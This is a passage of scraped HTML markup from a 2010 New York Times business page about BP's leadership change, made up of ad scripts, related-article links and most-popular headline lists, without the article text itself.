href=\"http://community.nytimes.com/comments/www.nytimes.com/2010/07/26/business/global/26bp.html\" >comments <span id=\"commentCount\"></span></a></li>\n<li class=\"email\">\n<a id=\"emailThis\" onClick=\"s_code_linktrack('Article-Tool-EmailSignIn');\" \n            href=\"http://www.nytimes.com/auth/login?URI=http://www.nytimes.com/2010/07/26/business/global/26bp.html\">Sign In to E-Mail</a>\n</li>\n<li class=\"print\">\n<A HREF=\"/2010/07/26/business/global/26bp.html?hp=&pagewanted=print\">Print</a>\n</li>\n\n<A HREF=\"/2010/07/26/business/global/26bp.html?hp=&pagewanted=all\"></a>\n\n<script name=\"javascript\">\n                    function submitCCCForm(){\n                        PopUp = window.open('', '_Icon','location=no,toolbar=no,status=no,width=650,height=550,scrollbars=yes,resizable=yes');\n                        this.document.cccform.submit();\n                    }\n                    </script>\n<li class=\"reprints\">\n<a href=\"#\" onClick=\"submitCCCForm()\">Reprints</a>\n</li>\n</ul>\n        </div>\n</div>\n</div>\n<script type=\"text/javascript\">\nwritePost();\n</script>\n</div>\n</div>\n\n<div class=\"singleAd\" id=\"Bottom1\">\n<!-- ADXINFO classification=\"text_ad\" campaign=\"nyt2010-circ-tr-intl-footer-nonhp-36UYL\"--><p><A HREF=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Bottom1&sn2=794b505b/5ccf9ae2&sn1=cf6ed596/83dbe05f&camp=nyt2010-circ-tr-intl-footer-nonhp-36UYL&ad=051810-tr-intl-footer-nonhp-36UYL&goto=https%3A%2F%2Ftimesreader%2Enytimes%2Ecom%2Fwebapp%2Fwcs%2Fstores%2Fservlet%2FTimesReader%3FstoreId%3D10001%26catalogId%3D10001%26campaignId%3D36UYL\" target=\"_blank\">Times Reader 2.0: Daily delivery of The Times - straight to your computer.  Subscribe for just $4.62 a week.</a></p>\n\n\n</div>\n\n\n<div id=\"relatedArticles\" class=\"list\"><h3>Past Coverage</h3><ul><li><span class=\"headlineWrapper\"><a onClick=\"s_code_linktrack('Article-RelatedArticles-searchFree');\" href=\"http://www.nytimes.com/2010/07/13/business/energy-environment/13bprisk.html?fta=y\">In BP's Record, a History Of Boldness and Blunders</a></span>&nbsp;(July 13, 2010)</li><li><span class=\"headlineWrapper\"><a onClick=\"s_code_linktrack('Article-RelatedArticles-searchFree');\" href=\"http://www.nytimes.com/2010/07/08/business/global/08bp.html?fta=y\">BP Begins Its Next Challenge: Reassuring Investors</a></span>&nbsp;(July 8, 2010)</li><li><span class=\"headlineWrapper\"><a onClick=\"s_code_linktrack('Article-RelatedArticles-searchFree');\" href=\"http://www.nytimes.com/2010/06/25/us/25liability.html?fta=y\">NEWS ANALYSIS; Liability Issues Loom, for BP et al.</a></span>&nbsp;(June 25, 2010)</li><li><span class=\"headlineWrapper\"><a onClick=\"s_code_linktrack('Article-RelatedArticles-searchFree');\" href=\"http://www.nytimes.com/2010/06/23/business/23dudley.html?fta=y\">Into the Line of Fire</a></span>&nbsp;(June 23, 2010)</li></ul></div>      \n<div class=\"relatedSearchesModule\">\n<h5 class=\"sectionHeaderSm\">Related Searches</h5>\n<form ACTION=\"/mem/tnt.html\" METHOD=\"GET\" ENCTYPE=\"application/x-www-form-urlencoded\">\n<ul class=\"opposingFloatControl wrap\">\n<input type=\"hidden\" name=\"retA\" value=\"http://www.nytimes.com//2010/07/26/business/global/26bp.html\"/>\n<input type=\"hidden\" name=\"retT\" value=\"As BP Lays Out Future, It Will Not Include Hayward\"/>\n<input type=\"hidden\" name=\"module\" value=\"call\"/>\n<input type=\"hidden\" name=\"alert_context\" value=\"1\"/>\n<input type=\"hidden\" name=\"topic1\" value=\"BP+Plc\"/>\n<input type=\"hidden\" name=\"topic_field1\" value=\"org\"/>\n<li class=\"clearfix\">   \n<span class=\"element1\"><a href=\"http://query.nytimes.com/search/query&#063;ppds=org&#038;v1=BP+Plc&#038;fdq=19960101&#038;td=sysdate&#038;sort=newest&#038;ac=&#038;rt=1%2Cdes%2Corg%2Cper%2Cgeo\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics');\">BP Plc</a></span>\n<span class=\"emailAlert element2 meta icon\">\n<a href=\"http://select.nytimes.com/mem/tnt.html?module=call&alert_context=1&topic1=BP+Plc&topic_field1=org&topic1_check=y&retA=&retT=&cskey=\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics'); dcsMultiTrack('DCS.dcssip','www.nytimes.com','DCS.dcsuri','/newstracker/add.html','WT.ti','Newstracker Add','WT.z_nta','Add','WT.pers','Per','WT.z_dcsm','1');\">Get E-Mail Alerts</a>\n</span>\n</li>\n<input type=\"hidden\" name=\"topic1\" value=\"Hayward%2C+Tony\"/>\n<input type=\"hidden\" name=\"topic_field1\" value=\"per\"/>\n<li class=\"clearfix\">   \n<span class=\"element1\"><a href=\"http://query.nytimes.com/search/query&#063;ppds=per&#038;v1=Hayward%2C+Tony&#038;fdq=19960101&#038;td=sysdate&#038;sort=newest&#038;ac=&#038;rt=1%2Cdes%2Corg%2Cper%2Cgeo\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics');\">Hayward, Tony</a></span>\n<span class=\"emailAlert element2 meta icon\">\n<a href=\"http://select.nytimes.com/mem/tnt.html?module=call&alert_context=1&topic1=Hayward%2C+Tony&topic_field1=per&topic1_check=y&retA=&retT=&cskey=\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics'); dcsMultiTrack('DCS.dcssip','www.nytimes.com','DCS.dcsuri','/newstracker/add.html','WT.ti','Newstracker Add','WT.z_nta','Add','WT.pers','Per','WT.z_dcsm','1');\">Get E-Mail Alerts</a>\n</span>\n</li>\n<input type=\"hidden\" name=\"topic1\" value=\"Oil+%28Petroleum%29+and+Gasoline\"/>\n<input type=\"hidden\" name=\"topic_field1\" value=\"des\"/>\n<li class=\"clearfix\">   \n<span class=\"element1\"><a href=\"http://query.nytimes.com/search/query&#063;ppds=des&#038;v1=Oil+%28Petroleum%29+and+Gasoline&#038;fdq=19960101&#038;td=sysdate&#038;sort=newest&#038;ac=&#038;rt=1%2Cdes%2Corg%2Cper%2Cgeo\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics');\">Oil (Petroleum) and Gasoline</a></span>\n<span class=\"emailAlert element2 meta icon\">\n<a href=\"http://select.nytimes.com/mem/tnt.html?module=call&alert_context=1&topic1=Oil+%28Petroleum%29+and+Gasoline&topic_field1=des&topic1_check=y&retA=&retT=&cskey=\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics'); dcsMultiTrack('DCS.dcssip','www.nytimes.com','DCS.dcsuri','/newstracker/add.html','WT.ti','Newstracker Add','WT.z_nta','Add','WT.pers','Per','WT.z_dcsm','1');\">Get E-Mail Alerts</a>\n</span>\n</li>\n<input type=\"hidden\" name=\"topic1\" value=\"Accidents+and+Safety\"/>\n<input type=\"hidden\" name=\"topic_field1\" value=\"des\"/>\n<li class=\"clearfix\">   \n<span class=\"element1\"><a href=\"http://query.nytimes.com/search/query&#063;ppds=des&#038;v1=Accidents+and+Safety&#038;fdq=19960101&#038;td=sysdate&#038;sort=newest&#038;ac=&#038;rt=1%2Cdes%2Corg%2Cper%2Cgeo\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics');\">Accidents and Safety</a></span>\n<span class=\"emailAlert element2 meta icon\">\n<a href=\"http://select.nytimes.com/mem/tnt.html?module=call&alert_context=1&topic1=Accidents+and+Safety&topic_field1=des&topic1_check=y&retA=&retT=&cskey=\" onClick=\"javascript:s_code_linktrack('Article-RelatedTopics'); dcsMultiTrack('DCS.dcssip','www.nytimes.com','DCS.dcsuri','/newstracker/add.html','WT.ti','Newstracker Add','WT.z_nta','Add','WT.pers','Per','WT.z_dcsm','1');\">Get E-Mail Alerts</a>\n</span>\n</li>\n</ul>\n</form>\n</div>\n</div>\n</div>\n</div><!--close abColumn -->\n<div class=\"cColumn\">\n\n<div class=\"columnGroup\">\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  first\">\t\t\t\t\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n<div class=\"singleAd\" id=\"Box3\">\n<!-- ADXINFO classification=\"feature_squares\" campaign=\"regilite-P2-todaysheadlines-hardnews\"--><IFRAME title=\"regilite\" src=\"http://www.nytimes.com/gst/litesub_insert.html?product=TH&size=336X90\" width=\"336\" height=\"90\" marginheight=\"0\" marginwidth=\"0\" frameborder=\"0\" vspace=\"0\" hspace=\"0\" scrolling=\"no\"></IFRAME>\n</div>\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n<div class=\"singleAd\" id=\"MiddleRight\">\n<!-- ADXINFO classification=\"bigad\" campaign=\"Charles_Schwab_Q3-2010_02_1426486-nyt1\"--><SCRIPT type=\"text/javascript\" SRC=\"http://ad.doubleclick.net/adj/N6036.6440.NYTIMES/B4617983;sz=300x250;pc=nyt140815_236716;ord=2010.07.26.00.14.18;click=http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=MiddleRight&camp=Charles_Schwab_Q3-2010_02_1426486-nyt1&ad=300x250_Remnant_Biz_B4617983&sn2=48a3b0af/206c74ae&snr=doubleclick&snx=1280100059&sn1=8b12e31f/f41e9f0a&goto=\"></SCRIPT>\n<NOSCRIPT>\n<A HREF=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=MiddleRight&sn2=48a3b0af/206c74ae&sn1=307057ad/c21f24ee&camp=Charles_Schwab_Q3-2010_02_1426486-nyt1&ad=300x250_Remnant_Biz_B4617983&goto=http://ad.doubleclick.net/jump/N6036.6440.NYTIMES/B4617983;sz=300x250;pc=nyt140815_236716;ord=2010.07.26.00.14.18\" TARGET=\"_blank\">\n<IMG SRC=\"http://ad.doubleclick.net/ad/N6036.6440.NYTIMES/B4617983;sz=300x250;pc=nyt140815_236716;ord=2010.07.26.00.14.18\"\n BORDER=0 WIDTH=300 HEIGHT=250\n ALT=\"Click Here\"></A>\n</NOSCRIPT>\n</div>\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n<div id=\"mostPopWidget\" class=\"singleRule\"> \n\n      <!-- MOST POPULAR MODULE STARTS -->\n      <h4>MOST POPULAR - BUSINESS</h4>\n         <div id=\"tabsContainer\">\n         <ul class=\"tabs\">\n            <li class=\"selected\"><a href=\"#\">E-Mailed</a></li>\n            <li><a href=\"#\">Blogged</a></li>\n            \n            <li><a href=\"#\">Viewed</a></li>\n            \n         </ul>\n         </div>\n            <!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"><HEAD><META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=UTF-8\"></HEAD><div class=\"tabContent tabContentActive\" id=\"mostEmailed\"><ol>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/global/25chocolate.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Trader&rsquo;s Cocoa Binge Wraps Up Chocolate Market</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25elon.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Tesla Electric Cars: Revved Up, but Far to Go</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/energy-environment/24gas.html?src=me&amp;ref=business\" title=\"Click to go to this article\">E.P.A. Considers Risks of Gas Extraction</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/24wealth.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Wealth Matters: If It Causes Stress, Is It Really a Vacation Home?</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/24nocera.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Talking Business: Credit Score Is the Tyrant in Lending</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25digi.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Digital Domain: Even With All Its Profits, Microsoft Has a Popularity Problem</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/media/24schorr.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Daniel Schorr, Journalist, Dies at 93</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25gret.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Fair Game: Seeing vs. Doing</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25corner.html?src=me&amp;ref=business\" title=\"Click to go to this article\">Corner Office: Always Keep a Few Tricks Up Your Sleeve</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/24insure.html?src=me&amp;ref=business\" title=\"Click to go to this article\">For Insurers, Fight Is Now Over Details</a></li>\n</ol>\n        <a class=\"more\" href=\"http://www.nytimes.com/gst/mostemailed.html\">Go to Complete List &#x00bb;</a>\n        </div><!-- #most emailed top10 -->\n\n            <div class=\"tabContent\" id=\"mostBlogged\">\n<ol>\n<li><a href=\"http://www.nytimes.com/2010/07/19/business/media/19press.html?bl\" title=\"Click to go to this article\">In Online Journalism, Burnout Starts Younger</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/21/business/economy/21leonhardt.html?bl\" title=\"Click to go to this article\">Overcome by Heat and Inertia</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/19/business/19training.html?bl\" title=\"Click to go to this article\">Job Training Struggles to Keep Pace in an Economy in Flux</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/20/business/20maywood.html?bl\" title=\"Click to go to this article\">A City Outsources Everything. Sky Does Not Fall</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/22/business/22regulate.html?bl\" title=\"Click to go to this article\">Obama Signs Overhaul of Financial System</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/media/24schorr.html?bl\" title=\"Click to go to this article\">Daniel Schorr, Journalist, Dies at 93</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/18/business/18view.html?bl\" title=\"Click to go to this article\">What Germany Has Learned About Debt</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/22/business/22fed.html?bl\" title=\"Click to go to this article\">Fed Chief Says Recovery Continues but Outlook Is Uncertain</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/19/business/19autos.html?bl\" title=\"Click to go to this article\">TARP Audit Questions Rush to Close Auto Dealers</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/global/25chocolate.html?bl\" title=\"Click to go to this article\">In Trader's Cocoa Binge, Fear for Chocolate Prices</a></li>\n</ol>\n<a class=\"more\" href=\"http://www.nytimes.com/gst/mostblogged.html\">Go to Complete List &#x00bb;</a>\n</div><!-- #most blogged top10 -->\n\n            \n            <div class=\"tabContent\" id=\"mostViewed\"><ol>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/global/25chocolate.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Trader&rsquo;s Cocoa Binge Wraps Up Chocolate Market</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25elon.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Tesla Electric Cars: Revved Up, but Far to Go</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/26/business/global/26bp.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">As BP Lays Out Future, It Will Not Include Hayward</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25zynga.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Will Zynga Become the Google of Games?</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25digi.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Digital Domain: Even With All Its Profits, Microsoft Has a Popularity Problem</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/media/24mag.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Cond&eacute; Nast Is Changing Its Blueprint</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/energy-environment/24gas.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">E.P.A. Considers Risks of Gas Extraction</a></li>\n<li><a href=\"http://bucks.blogs.nytimes.com/2010/07/25/how-to-lower-a-doctors-bill/?src=mv&amp;ref=business\" title=\"Click to go to this article\">One Way to Lower a Doctor's Bill</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/25/business/25gret.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Fair Game: Seeing vs. Doing</a></li>\n<li><a href=\"http://www.nytimes.com/2010/07/24/business/24wealth.html?src=mv&amp;ref=business\" title=\"Click to go to this article\">Wealth Matters: If It Causes Stress, Is It Really a Vacation Home?</a></li>\n</ol>\n        </div><!-- #most viewed top10 -->\n\n            \n         <script type=\"text/javascript\">new Accordian(\"mostPopWidget\");</script>\n      <!-- MOST POPULAR MODULE ENDS -->\n   \n\n</div><!--close mostPopWidget -->\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n<div class=\"bigAd\" id=\"Box1\">\n<!-- ADXINFO classification=\"feature_position\" campaign=\"NYT2010_marketingmodule_Style\"--><!-- MARKETING MODULE -->\n<div style=\"border:solid #999;border-width:1px;font-family:Arial,sans-serif;text-align:left; width:334px;background:#fff;\" class=\"clearfix wrap\">\n  <a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=f5c7c9e3/987faa64&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=http://www.nytimes.com/2010/07/22/fashion/22SIXERS.html%3Fex=1295409600%26en=d6ea053bb422f6c0%26ei=5087%26WT.mc_id=ST-D-I-NYT-MOD-MOD-M159-ROS-0710-PH%26WT.mc_ev=click\" target=\"_new\"><img src=\"http://graphics8.nytimes.com/ads/marketing/mm10/style_072510.jpg\" width=\"334\" height=\"154\" border=\"0\" alt=\"\"></a> \n  <div style=\"padding:7px 9px 0;background:#fff\">\n      <h2 style=\"font-size:22px;line-height:24px; margin:0;padding:0 0 4px;\"><a style=\"color:#794951;\" target=\"_new\" href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=f5c7c9e3/987faa64&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=http://www.nytimes.com/2010/07/22/fashion/22SIXERS.html%3Fex=1295409600%26en=d6ea053bb422f6c0%26ei=5087%26WT.mc_id=ST-D-I-NYT-MOD-MOD-M159-ROS-0710-HDR%26WT.mc_ev=click\">Shoppers on a \"diet\"</a></h2>\n      <p style=\"margin:0 0 3px; padding:0;\"><a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=f5c7c9e3/987faa64&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=http://www.nytimes.com/pages/style/index.html%3FWT.mc_id=ST-D-I-NYT-MOD-MOD-M159-ROS-0710-URL%26WT.mc_ev=click\" target=\"_new\" style=\"font-size:11px;margin:3px 0;padding:0;font-family:Arial,sans-serif;  color:#000; text-transform:uppercase;\">Also in Style &raquo;</a></p>\n      <ul style=\"font-size:12px;margin:0; padding-bottom: 10px; border-bottom:1px solid #ccc;\" class=\"refer\">\n        <li style=\"font-size:12px\"><a target=\"_new\" href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=f5c7c9e3/987faa64&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=http://www.nytimes.com/2010/07/22/fashion/22date.html%3Fex=1295409600%26en=b58a31597b16d64b%26ei=5087%26WT.mc_id=ST-D-I-NYT-MOD-MOD-M159-ROS-0710-L1%26WT.mc_ev=click\">The new dating tools: a card and a wink</a></li>\n        <li style=\"font-size:12px\"><a target=\"_new\" href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=bc2012/52a5c806&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=https://twitter.com/nytimesstyle\">Follow Style on Twitter</a></li>\n      </ul>\n    </div>\n \n <div style=\"padding:5px 9px; float:left; width:316px; background:#fff\"> <a style=\"float:left\" href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=215d2ec3/b2a4d29a&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=http://nytimes.com/%3FWT.mc_id=ST-D-I-NYT-MOD-MOD-M159-ROS-0710-LOGO%26WT.mc_ev=click\" target=\"_new\"><img src=\"http://graphics8.nytimes.com/ads/marketing/mm09/verticalst/nytimes.gif\" alt=\"nytimes.com\" width=\"116\" height=\"18\" border=\"0\"></a><a style=\"float:right\" href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Box1&sn2=4b9ff321/390fe73f&sn1=f5c7c9e3/987faa64&camp=NYT2010_marketingmodule_Style&ad=ST-D-I-NYT-MOD-MOD-M159-ROS-0710&goto=http://www.nytimes.com/pages/style/index.html%3FWT.mc_id=ST-D-I-NYT-MOD-MOD-M159-ROS-0710-VRT%26WT.mc_ev=click\" target=\"_new\"><img src=\"http://graphics8.nytimes.com/ads/marketing/mm09/verticalst/verticals_style.gif\" alt=\"Style\" width=\"120\" height=\"18\" border=\"0\"></a></div><br clear=\"all\">\n</div>\n  <!-- /MARKETING MODULE -->\n\n</div>\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n<!--[TwoColumnAdLeft - Begin] -->\n\t<div class=\"adHeader\">\n<h4>\nAdvertisements\t    </h4>\n</div>\n<div class=\"cColumn-TextAdsBox\">\n\t<div class=\"cColumn-TextAdsLeft\">\n<div class=\"cColumn-TextAd\">\n<!-- ADXINFO classification=\"text_ad\" campaign=\"default-textlink-right5A-RE-cla\"--><!-- start text link -->\n<a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Right5A&sn2=b4549068/9dda6189&sn1=773bf90d/712d5c19&camp=default-textlink-right5A-RE-cla&ad=textlink-FindDreamHm&goto=http%3A%2F%2Fwww%2Enytimes%2Ecom%2Fpages%2Frealestate%2Findex%2Ehtml&query=2010.07.26.00.14.18\" target=\"_blank\"><div class=\"cColumn-TextAdsHeader\"></div><br>Find your dream home with<br>The New York Times Real Estate</a><br>\n<!-- end text link -->\t\t\t</div>\n<div class=\"cColumn-TextAd\">\n<!-- ADXINFO classification=\"text_ad\" campaign=\"default-textlink-right6A-RE-cla\"--><!-- start text link -->\n<a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Right6A&sn2=da1a4854/9dda6188&sn1=480995f9/56cc5144&camp=default-textlink-right6A-RE-cla&ad=textlink-TwitterFollow&goto=http%3A%2F%2Fwww%2Etwitter%2Ecom%2Fnytimes&query=2010.07.26.00.14.18\" target=\"_blank\"><div class=\"cColumn-TextAdsHeader\"></div><br>Follow The New York Times on Twitter</a><br>\n<!-- end text link -->\t\t\t</div>\n<div class=\"cColumn-TextAd\">\n<!-- ADXINFO classification=\"text_ad\" campaign=\"default-textlink-right7A-RE-cla\"--><!-- start text link -->\n<a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Right7A&sn2=d05240df/9dda618b&sn1=e500268f/1cb94289&camp=default-textlink-right7A-RE-cla&ad=textlink-The-New-Issue-of-T&goto=http%3A%2F%2Fwww%2Enytimes%2Ecom%2Ftmagazine&query=2010.07.26.00.14.18\" target=\"_blank\"><div class=\"cColumn-TextAdsHeader\"></div><br>The new issue of T is here</a><br>\n<!-- end text link -->\t\t\t</div>\n<div class=\"cColumn-TextAd\">\n<!-- ADXINFO classification=\"text_ad\" campaign=\"default-textlink-right8A-RE-cla\"--><!-- start text link -->\n<a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Right8A&sn2=6be92090/9dda618a&sn1=deb940de/bb53afc&camp=default-textlink-right8A-RE-cla&ad=textlink-TimesCastVideo&goto=http%3A%2F%2Fvideo%2Enytimes%2Ecom%2Fvideo%2Fplaylist%2Ftimescast%2F1247467375115%2Findex%2Ehtml&query=2010.07.26.00.14.18\" target=\"_blank\"><div class=\"cColumn-TextAdsHeader\"></div><br>See the news in the making.  Watch TimesCast, a daily news video.</a><br>\n<!-- end text link -->\t\t\t</div>\n</div>\n\t\t<div class=\"cColumn-TextAdsRight\">\n<!-- ADXINFO classification=\"feature_position\" campaign=\"NYT2010-Knowledge-Network-S4D-ROS\"--><a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Bottom3&sn2=2a794b83/5ccf9ada&sn1=b3ddb2b2/a7538cf6&camp=NYT2010-Knowledge-Network-S4D-ROS&ad=86x60_green.gif&goto=http%3A%2F%2Fwww%2Enytimesknownow%2Ecom%2F\" target=\"_blank\">\n<img src=\"http://graphics8.nytimes.com/adx/images/ADS/22/38/ad.223874/86x60_green.gif\" width=\"86\" height=\"60\" border=\"0\"></a>\n\t\t\t</div>\n</div>\n<!--[TwoColumnAdLeft - End] -->\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n\n<div class=\"singleAd\" id=\"Middle5\">\n<!-- ADXINFO classification=\"feature_position\" campaign=\"IHT2009-Mktg-336x79-US_ROS-Intl-Circ\"--><a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Middle5&sn2=600f1156/e6b1b741&sn1=30de58c8/6d8ea029&camp=IHT2009-Mktg-336x79-US_ROS-Intl-Circ&ad=336x79enjoy&goto=http%3A%2F%2Fsubs%2Eiht%2Ecom\" target=\"_blank\">\n<img src=\"http://graphics8.nytimes.com/adx/images/ADS/22/53/ad.225345/IHT2956_Enjoyv2_336x79.gif\" width=\"336\" height=\"79\" border=\"0\"></a>\n\n</div>\n\n</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  last\">\t\t\t\t\n\n</div>\n<div class=\"columnGroup\">\n\n</div>\n\n\n\n\n\n\n</div>\n</div><!--close spanAB -->\n\n  <!-- start MOTH -->\n  \t<div id=\"insideNYTimes\" class=\"doubleRule\">\n            <script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/app/moth/moth.js\"></script>\n        <div id=\"insideNYTimesHeader\">\n                    <div class=\"navigation\"><span id=\"leftArrow\"><img id=\"mothReverse\" src=\"http://graphics8.nytimes.com/images/global/buttons/moth_reverse.gif\" /></span>&nbsp;<span id=\"rightArrow\"><img id=\"mothForward\" src=\"http://graphics8.nytimes.com/images/global/buttons/moth_forward.gif\" /></span></div>\n                <h4>\n            Inside NYTimes.com        </h4>\n    </div>\n    \n        \n    <div id=\"insideNYTimesScrollWrapper\">\n        <table id=\"insideNYTimesBrowser\" cellspacing=\"0\">\n            <tbody>\n                <tr>\n                                                <td class=\"first\">\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/arts/television/index.html\">Television &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/arts/television/25joey.html\"><img src=\"http://graphics8.nytimes.com/images/2010/07/25/arts/television/25moth_joey/25moth_joey-moth.jpg\" alt=\"Friend or Faux: Not Quite Joey, but Not Himself\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/arts/television/25joey.html\">Friend or Faux: Not Quite Joey, but Not Himself</a></h6>\n        </div>\n    </td>\n                                                <td>\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/opinion/index.html\">Opinion &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/opinion/25schmidt.html\"><img src=\"http://graphics8.nytimes.com/images/2010/07/25/opinion/25moth_oped2/25moth_oped2-moth.jpg\" alt=\"Op-Ed: Memories on the Half Shell\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/opinion/25schmidt.html\">Op-Ed: Memories on the Half Shell</a></h6>\n        </div>\n    </td>\n                                                <td>\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/fashion/index.html\">Fashion & Style &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/pages/fashion/weddings/index.html\"><img src=\"http://graphics8.nytimes.com/images/2010/07/25/fashion/25moth_vows/25moth_vows-moth.jpg\" 